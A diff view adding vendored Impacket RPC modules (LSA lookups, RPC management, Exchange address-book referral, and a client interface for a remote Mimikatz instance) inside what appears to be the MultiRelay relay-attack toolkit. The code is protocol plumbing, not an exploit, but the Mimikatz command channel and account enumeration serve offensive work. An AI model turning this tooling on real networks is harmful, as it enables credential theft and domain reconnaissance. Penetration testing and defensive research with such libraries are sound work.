tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/lsat.py Normal file
View File

@@ -0,0 +1,494 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-LSAT] Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket import nt_errors
from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \
NULL
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, PLSAPR_TRUST_INFORMATION_ARRAY
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.uuid import uuidtup_to_bin
MSRPC_UUID_LSAT = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in nt_errors.ERROR_MESSAGES:
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.2.10 ACCESS_MASK
POLICY_LOOKUP_NAMES = 0x00000800
################################################################################
# STRUCTURES
################################################################################
# 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST
class LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Domains', PLSAPR_TRUST_INFORMATION_ARRAY),
('MaxEntries', ULONG),
)
class PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER):
referent = (
('Data', LSAPR_REFERENCED_DOMAIN_LIST),
)
# 2.2.14 LSA_TRANSLATED_SID
class LSA_TRANSLATED_SID(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('RelativeId', ULONG),
('DomainIndex', LONG),
)
# 2.2.15 LSAPR_TRANSLATED_SIDS
class LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray):
item = LSA_TRANSLATED_SID
class PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER):
referent = (
('Data', LSA_TRANSLATED_SID_ARRAY),
)
class LSAPR_TRANSLATED_SIDS(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Sids', PLSA_TRANSLATED_SID_ARRAY),
)
# 2.2.16 LSAP_LOOKUP_LEVEL
class LSAP_LOOKUP_LEVEL(NDRENUM):
class enumItems(Enum):
LsapLookupWksta = 1
LsapLookupPDC = 2
LsapLookupTDL = 3
LsapLookupGC = 4
LsapLookupXForestReferral = 5
LsapLookupXForestResolve = 6
LsapLookupRODCReferralToFullDC = 7
# 2.2.17 LSAPR_SID_INFORMATION
class LSAPR_SID_INFORMATION(NDRSTRUCT):
structure = (
('Sid', PRPC_SID),
)
# 2.2.18 LSAPR_SID_ENUM_BUFFER
class LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray):
item = LSAPR_SID_INFORMATION
class PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_SID_INFORMATION_ARRAY),
)
class LSAPR_SID_ENUM_BUFFER(NDRSTRUCT):
structure = (
('Entries', ULONG),
('SidInfo', PLSAPR_SID_INFORMATION_ARRAY),
)
# 2.2.19 LSAPR_TRANSLATED_NAME
class LSAPR_TRANSLATED_NAME(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('Name', RPC_UNICODE_STRING),
('DomainIndex', LONG),
)
# 2.2.20 LSAPR_TRANSLATED_NAMES
class LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_NAME
class PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_NAME_ARRAY),
)
class LSAPR_TRANSLATED_NAMES(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Names', PLSAPR_TRANSLATED_NAME_ARRAY),
)
# 2.2.21 LSAPR_TRANSLATED_NAME_EX
class LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('Name', RPC_UNICODE_STRING),
('DomainIndex', LONG),
('Flags', ULONG),
)
# 2.2.22 LSAPR_TRANSLATED_NAMES_EX
class LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_NAME_EX
class PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY),
)
class LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY),
)
# 2.2.23 LSAPR_TRANSLATED_SID_EX
class LSAPR_TRANSLATED_SID_EX(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('RelativeId', ULONG),
('DomainIndex', LONG),
('Flags', ULONG),
)
# 2.2.24 LSAPR_TRANSLATED_SIDS_EX
class LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_SID_EX
class PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_SID_EX_ARRAY),
)
class LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY),
)
# 2.2.25 LSAPR_TRANSLATED_SID_EX2
class LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('Sid', PRPC_SID),
('DomainIndex', LONG),
('Flags', ULONG),
)
# 2.2.26 LSAPR_TRANSLATED_SIDS_EX2
class LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_SID_EX2
class PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY),
)
class LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY),
)
class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):
item = RPC_UNICODE_STRING
################################################################################
# RPC CALLS
################################################################################
# 3.1.4.4 LsarGetUserName (Opnum 45)
class LsarGetUserName(NDRCALL):
opnum = 45
structure = (
('SystemName', LPWSTR),
('UserName', PRPC_UNICODE_STRING),
('DomainName', PRPC_UNICODE_STRING),
)
class LsarGetUserNameResponse(NDRCALL):
structure = (
('UserName', PRPC_UNICODE_STRING),
('DomainName', PRPC_UNICODE_STRING),
('ErrorCode', NTSTATUS),
)
# 3.1.4.5 LsarLookupNames4 (Opnum 77)
class LsarLookupNames4(NDRCALL):
opnum = 77
structure = (
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupNames4Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.6 LsarLookupNames3 (Opnum 68)
class LsarLookupNames3(NDRCALL):
opnum = 68
structure = (
('PolicyHandle', LSAPR_HANDLE),
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupNames3Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.7 LsarLookupNames2 (Opnum 58)
class LsarLookupNames2(NDRCALL):
opnum = 58
structure = (
('PolicyHandle', LSAPR_HANDLE),
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupNames2Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.8 LsarLookupNames (Opnum 14)
class LsarLookupNames(NDRCALL):
opnum = 14
structure = (
('PolicyHandle', LSAPR_HANDLE),
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
)
class LsarLookupNamesResponse(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.9 LsarLookupSids3 (Opnum 76)
class LsarLookupSids3(NDRCALL):
opnum = 76
structure = (
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupSids3Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.10 LsarLookupSids2 (Opnum 57)
class LsarLookupSids2(NDRCALL):
opnum = 57
structure = (
('PolicyHandle', LSAPR_HANDLE),
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupSids2Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.11 LsarLookupSids (Opnum 15)
class LsarLookupSids(NDRCALL):
opnum = 15
structure = (
('PolicyHandle', LSAPR_HANDLE),
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
('TranslatedNames', LSAPR_TRANSLATED_NAMES),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
)
class LsarLookupSidsResponse(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedNames', LSAPR_TRANSLATED_NAMES),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
14 : (LsarLookupNames, LsarLookupNamesResponse),
15 : (LsarLookupSids, LsarLookupSidsResponse),
45 : (LsarGetUserName, LsarGetUserNameResponse),
57 : (LsarLookupSids2, LsarLookupSids2Response),
58 : (LsarLookupNames2, LsarLookupNames2Response),
68 : (LsarLookupNames3, LsarLookupNames3Response),
76 : (LsarLookupSids3, LsarLookupSids3Response),
77 : (LsarLookupNames4, LsarLookupNames4Response),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hLsarGetUserName(dce, userName = NULL, domainName = NULL):
request = LsarGetUserName()
request['SystemName'] = NULL
request['UserName'] = userName
request['DomainName'] = domainName
return dce.request(request)
def hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupNames4()
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupNames3()
request['PolicyHandle'] = policyHandle
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupNames2()
request['PolicyHandle'] = policyHandle
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):
request = LsarLookupNames()
request['PolicyHandle'] = policyHandle
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
return dce.request(request)
def hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupSids2()
request['PolicyHandle'] = policyHandle
request['SidEnumBuffer']['Entries'] = len(sids)
for sid in sids:
itemn = LSAPR_SID_INFORMATION()
itemn['Sid'].fromCanonical(sid)
request['SidEnumBuffer']['SidInfo'].append(itemn)
request['TranslatedNames']['Names'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):
request = LsarLookupSids()
request['PolicyHandle'] = policyHandle
request['SidEnumBuffer']['Entries'] = len(sids)
for sid in sids:
itemn = LSAPR_SID_INFORMATION()
itemn['Sid'].fromCanonical(sid)
request['SidEnumBuffer']['SidInfo'].append(itemn)
request['TranslatedNames']['Names'] = NULL
request['LookupLevel'] = lookupLevel
return dce.request(request)

166
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/mgmt.py Normal file
View File

@@ -0,0 +1,166 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [C706] Remote Management Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray
from impacket.dcerpc.v5.epm import PRPC_IF_ID
from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from impacket import nt_errors
MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in nt_errors.ERROR_MESSAGES:
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
class rpc_if_id_p_t_array(NDRUniConformantArray):
item = PRPC_IF_ID
class rpc_if_id_vector_t(NDRSTRUCT):
structure = (
('count',ULONG),
('if_id',rpc_if_id_p_t_array),
)
structure64 = (
('count',ULONGLONG),
('if_id',rpc_if_id_p_t_array),
)
class rpc_if_id_vector_p_t(NDRPOINTER):
referent = (
('Data', rpc_if_id_vector_t),
)
error_status = ULONG
################################################################################
# STRUCTURES
################################################################################
################################################################################
# RPC CALLS
################################################################################
class inq_if_ids(NDRCALL):
opnum = 0
structure = (
)
class inq_if_idsResponse(NDRCALL):
structure = (
('if_id_vector', rpc_if_id_vector_p_t),
('status', error_status),
)
class inq_stats(NDRCALL):
opnum = 1
structure = (
('count', ULONG),
)
class inq_statsResponse(NDRCALL):
structure = (
('count', ULONG),
('statistics', DWORD_ARRAY),
('status', error_status),
)
class is_server_listening(NDRCALL):
opnum = 2
structure = (
)
class is_server_listeningResponse(NDRCALL):
structure = (
('status', error_status),
)
class stop_server_listening(NDRCALL):
opnum = 3
structure = (
)
class stop_server_listeningResponse(NDRCALL):
structure = (
('status', error_status),
)
class inq_princ_name(NDRCALL):
opnum = 4
structure = (
('authn_proto', ULONG),
('princ_name_size', ULONG),
)
class inq_princ_nameResponse(NDRCALL):
structure = (
('princ_name', NDRUniConformantVaryingArray),
('status', error_status),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (inq_if_ids, inq_if_idsResponse),
1 : (inq_stats, inq_statsResponse),
2 : (is_server_listening, is_server_listeningResponse),
3 : (stop_server_listening, stop_server_listeningResponse),
4 : (inq_princ_name, inq_princ_nameResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hinq_if_ids(dce):
request = inq_if_ids()
return dce.request(request)
def hinq_stats(dce, count = 4):
request = inq_stats()
request['count'] = count
return dce.request(request)
def his_server_listening(dce):
request = is_server_listening()
return dce.request(request, checkError=False)
def hstop_server_listening(dce):
request = stop_server_listening()
return dce.request(request)
def hinq_princ_name(dce, authn_proto=0, princ_name_size=1):
request = inq_princ_name()
request['authn_proto'] = authn_proto
request['princ_name_size'] = princ_name_size
return dce.request(request, checkError=False)

236
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/mimilib.py Normal file
View File

@@ -0,0 +1,236 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# Mimikatz Interface implementation, based on @gentilkiwi IDL
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from __future__ import division
from __future__ import print_function
import binascii
import random
from impacket import nt_errors
from impacket.dcerpc.v5.dtypes import DWORD, ULONG
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from impacket.structure import Structure
MSRPC_UUID_MIMIKATZ = uuidtup_to_bin(('17FC11E9-C258-4B8D-8D07-2F4125156244', '1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in nt_errors.ERROR_MESSAGES:
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'Mimikatz SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'Mimikatz SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
CALG_DH_EPHEM = 0x0000aa02
TPUBLICKEYBLOB = 0x6
CUR_BLOB_VERSION = 0x2
ALG_ID = DWORD
CALG_RC4 = 0x6801
################################################################################
# STRUCTURES
################################################################################
class PUBLICKEYSTRUC(Structure):
structure = (
('bType','B=0'),
('bVersion','B=0'),
('reserved','<H=0'),
('aiKeyAlg','<L=0'),
)
def __init__(self, data = None, alignment = 0):
Structure.__init__(self,data,alignment)
self['bType'] = TPUBLICKEYBLOB
self['bVersion'] = CUR_BLOB_VERSION
self['aiKeyAlg'] = CALG_DH_EPHEM
class DHPUBKEY(Structure):
structure = (
('magic','<L=0'),
('bitlen','<L=0'),
)
def __init__(self, data = None, alignment = 0):
Structure.__init__(self,data,alignment)
self['magic'] = 0x31484400
self['bitlen'] = 1024
class PUBLICKEYBLOB(Structure):
structure = (
('publickeystruc',':', PUBLICKEYSTRUC),
('dhpubkey',':', DHPUBKEY),
('yLen', '_-y','128'),
('y',':'),
)
def __init__(self, data = None, alignment = 0):
Structure.__init__(self,data,alignment)
self['publickeystruc'] = PUBLICKEYSTRUC().getData()
self['dhpubkey'] = DHPUBKEY().getData()
class MIMI_HANDLE(NDRSTRUCT):
structure = (
('Data','20s=""'),
)
def getAlignment(self):
if self._isNDR64 is True:
return 8
else:
return 4
class BYTE_ARRAY(NDRUniConformantArray):
item = 'c'
class PBYTE_ARRAY(NDRPOINTER):
referent = (
('Data',BYTE_ARRAY),
)
class MIMI_PUBLICKEY(NDRSTRUCT):
structure = (
('sessionType',ALG_ID),
('cbPublicKey',DWORD),
('pbPublicKey',PBYTE_ARRAY),
)
class PMIMI_PUBLICKEY(NDRPOINTER):
referent = (
('Data',MIMI_PUBLICKEY),
)
################################################################################
# RPC CALLS
################################################################################
class MimiBind(NDRCALL):
opnum = 0
structure = (
('clientPublicKey',MIMI_PUBLICKEY),
)
class MimiBindResponse(NDRCALL):
structure = (
('serverPublicKey',MIMI_PUBLICKEY),
('phMimi',MIMI_HANDLE),
('ErrorCode',ULONG),
)
class MimiUnbind(NDRCALL):
opnum = 1
structure = (
('phMimi',MIMI_HANDLE),
)
class MimiUnbindResponse(NDRCALL):
structure = (
('phMimi',MIMI_HANDLE),
('ErrorCode',ULONG),
)
class MimiCommand(NDRCALL):
opnum = 2
structure = (
('phMimi',MIMI_HANDLE),
('szEncCommand',DWORD),
('encCommand',PBYTE_ARRAY),
)
class MimiCommandResponse(NDRCALL):
structure = (
('szEncResult',DWORD),
('encResult',PBYTE_ARRAY),
('ErrorCode',ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (MimiBind, MimiBindResponse),
1 : (MimiUnbind, MimiUnbindResponse),
2 : (MimiCommand, MimiCommandResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
class MimiDiffeH:
def __init__(self):
self.G = 2
self.P = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF
self.privateKey = random.getrandbits(1024)
#self.privateKey = int('A'*128, base=16)
def genPublicKey(self):
self.publicKey = pow(self.G, self.privateKey, self.P)
tmp = hex(self.publicKey)[2:].rstrip('L')
if len(tmp) & 1:
tmp = '0' + tmp
return binascii.unhexlify(tmp)
def getSharedSecret(self, serverPublicKey):
pubKey = int(binascii.hexlify(serverPublicKey), base=16)
self.sharedSecret = pow(pubKey, self.privateKey, self.P)
tmp = hex(self.sharedSecret)[2:].rstrip('L')
if len(tmp) & 1:
tmp = '0' + tmp
return binascii.unhexlify(tmp)
def hMimiBind(dce, clientPublicKey):
request = MimiBind()
request['clientPublicKey'] = clientPublicKey
return dce.request(request)
def hMimiCommand(dce, phMimi, encCommand):
request = MimiCommand()
request['phMimi'] = phMimi
request['szEncCommand'] = len(encCommand)
request['encCommand'] = list(encCommand)
return dce.request(request)
if __name__ == '__main__':
from impacket.winregistry import hexdump
alice = MimiDiffeH()
alice.G = 5
alice.P = 23
alice.privateKey = 6
bob = MimiDiffeH()
bob.G = 5
bob.P = 23
bob.privateKey = 15
print('Alice pubKey')
hexdump(alice.genPublicKey())
print('Bob pubKey')
hexdump(bob.genPublicKey())
print('Secret')
hexdump(alice.getSharedSecret(bob.genPublicKey()))
hexdump(bob.getSharedSecret(alice.genPublicKey()))

1714
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/ndr.py Normal file
View File

File diff suppressed because it is too large Load Diff

2853
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/nrpc.py Normal file
View File

File diff suppressed because it is too large Load Diff

1361
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/nspi.py Normal file
View File

File diff suppressed because it is too large Load Diff

131
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/oxabref.py Normal file
View File

@@ -0,0 +1,131 @@
# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol
#
# Authors:
# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
#
from impacket import hresult_errors, mapi_constants
from impacket.dcerpc.v5.dtypes import NULL, STR, ULONG
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
MSRPC_UUID_OXABREF = uuidtup_to_bin(('1544F5E0-613C-11D1-93DF-00C04FD7BD09','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in mapi_constants.ERROR_MESSAGES:
error_msg_short = mapi_constants.ERROR_MESSAGES[key]
return 'OXABREF SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short)
elif key in hresult_errors.ERROR_MESSAGES:
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'OXABREF SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'OXABREF SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# STRUCTURES
################################################################################
class PUCHAR_ARRAY(NDRPOINTER):
referent = (
('Data', STR),
)
class PPUCHAR_ARRAY(NDRPOINTER):
referent = (
('Data', PUCHAR_ARRAY),
)
################################################################################
# RPC CALLS
################################################################################
# 3.1.4.1 RfrGetNewDSA (opnum 0)
class RfrGetNewDSA(NDRCALL):
opnum = 0
structure = (
('ulFlags', ULONG),
('pUserDN', STR),
('ppszUnused', PPUCHAR_ARRAY),
('ppszServer', PPUCHAR_ARRAY),
)
class RfrGetNewDSAResponse(NDRCALL):
structure = (
('ppszUnused', PPUCHAR_ARRAY),
('ppszServer', PPUCHAR_ARRAY),
)
# 3.1.4.2 RfrGetFQDNFromServerDN (opnum 1)
class RfrGetFQDNFromServerDN(NDRCALL):
opnum = 1
structure = (
('ulFlags', ULONG),
('cbMailboxServerDN', ULONG),
('szMailboxServerDN', STR),
)
class RfrGetFQDNFromServerDNResponse(NDRCALL):
structure = (
('ppszServerFQDN', PUCHAR_ARRAY),
('ErrorCode', ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (RfrGetNewDSA, RfrGetNewDSAResponse),
1 : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def checkNullString(string):
if string == NULL:
return string
if string[-1:] != '\x00':
return string + '\x00'
else:
return string
def hRfrGetNewDSA(dce, pUserDN=''):
request = RfrGetNewDSA()
request['ulFlags'] = 0
request['pUserDN'] = checkNullString(pUserDN)
request['ppszUnused'] = NULL
request['ppszServer'] = '\x00'
resp = dce.request(request)
resp['ppszServer'] = resp['ppszServer'][:-1]
if request['ppszUnused'] != NULL:
resp['ppszUnused'] = resp['ppszUnused'][:-1]
return resp
